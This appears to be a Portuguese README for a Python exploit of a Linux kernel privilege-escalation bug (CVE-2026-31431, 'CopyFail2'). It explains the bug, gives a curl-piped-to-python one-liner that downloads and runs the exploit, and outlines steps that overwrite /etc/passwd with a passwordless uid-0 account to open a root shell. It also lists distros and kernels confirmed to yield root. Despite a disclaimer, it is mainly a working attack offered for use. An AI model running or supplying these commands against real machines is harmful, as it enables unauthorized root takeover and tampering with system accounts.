
Implementação em Python de um exploit de escalonamento local de privilégios no kernel Linux para CVE-2026-31431, aproveitando o xfrm ESP-in-UDP MSG_SPLICE_PAGES no-COW para sobrescrever /etc/passwd e obter acesso root.
Porte em Python do exploit de kernel CopyFail2 que explora o caminho rápido no-COW MSG_SPLICE_PAGES do xfrm ESP-in-UDP para escalonamento local de privilégios em Linux sem privilégios.
Substitui uma entrada nologin/false em /etc/passwd por um usuário uid-0 sem senha e abre um shell root via su.
O bug do kernel reside no caminho de splice UDP usado pela encapsulação xfrm ESP-in-UDP. splice() em um socket UDP com MSG_SPLICE_PAGES faz com que as páginas sejam mapeadas no cache de páginas do receptor sem acionar copy-on-write. Isso permite escrever em qualquer arquivo atualmente mapeado no cache de páginas, mesmo quando aberto somente leitura.
libcrypto.so (OpenSSL)CAP_NET_ADMIN ou a capacidade de criar namespaces de usuárioEste repositório fornece duas variantes. Ambas produzem o mesmo resultado; escolha com base nas suas restrições.
# One-liner via pipe
python3 -c "$(curl -sL https://raw.githubusercontent.com/guiimoraes/copyfail2-py/main/exploit.py)"
# Arquivo salvo
python3 exploit.py
# Reverter alterações
python3 exploit.py --clean
python3 exploit_raw.py
python3 exploit_raw.py --clean
No Ubuntu com apparmor_restrict_unprivileged_userns habilitado, salve o arquivo primeiro e execute a partir do disco; o modo pipe ignora a dança de bypass do AppArmor.
curl -sL ttps://raw.githubusercontent.com/guiimoraes/copyfail2-py/main/exploit.py > /tmp/x.py
python3 /tmp/x.py
/etc/passwd para o valor desejado.127.0.0.1:4500.splice() três intervalos (cabeçalho ESP, byte alvo de /etc/passwd, ICV) em um pipe.splice() o pipe no socket UDP, acionando o bug do kernel e escrevendo o byte no cache de páginas.nologin/false com sick::0:0:...:/:/bin/bash.su - sick abre root (PAM nullok aceita senha vazia).cannot acquire CAP_NET_ADMIN
Seu kernel pode ter kernel.unprivileged_userns_clone=0. Habilite-o:
sudo sysctl kernel.unprivileged_userns_clone=1
Se estiver executando dentro do Docker, inicie o contêiner com --privileged ou --cap-add=SYS_ADMIN.
Esta ferramenta é fornecida apenas para pesquisa de segurança autorizada e fins educacionais. Não use contra sistemas que você não possui ou para os quais não tem permissão explícita de teste. Os autores não assumem responsabilidade por uso indevido ou danos causados por este software.
| Arquivo | Descrição | Velocidade | Use quando |
|---|
exploit.py | Otimizado — reutiliza estado xfrm/sockets/pipe entre mutações, agrupa 2 bytes consecutivos por rodada, polling ativo em vez de sleep fixo. | ~3–8 s para uma linha de 99 bytes | Escolha padrão. Rápido, estável, testado em várias distros. |
exploit_raw.py | Referência — mais próximo do código C original. Recria estado xfrm, sockets, pipe e arquivo temporário para cada byte individual, sleep fixo de 200 ms por mutação. | ~30–40 s para uma linha de 99 bytes | Use se quiser o caminho de código mais simples possível para auditoria, ou se a versão otimizada se comportar mal em um build específico do kernel. |
| Distro | Kernel | Resultado |
|---|
| Ubuntu 24.04 LTS | 6.8.0-110-generic | root |
| Debian 13 | 6.12.74 | root |
| Arch | 6.19.11-arch1-1 | root |
| Fedora 43 | 6.19.14-200.fc43 | root |
| Ubuntu 26.04 LTS | 7.0.0-15-generic | root |
| Ubuntu 22.04 LTS | 5.15.0-176-generic | não vulnerável |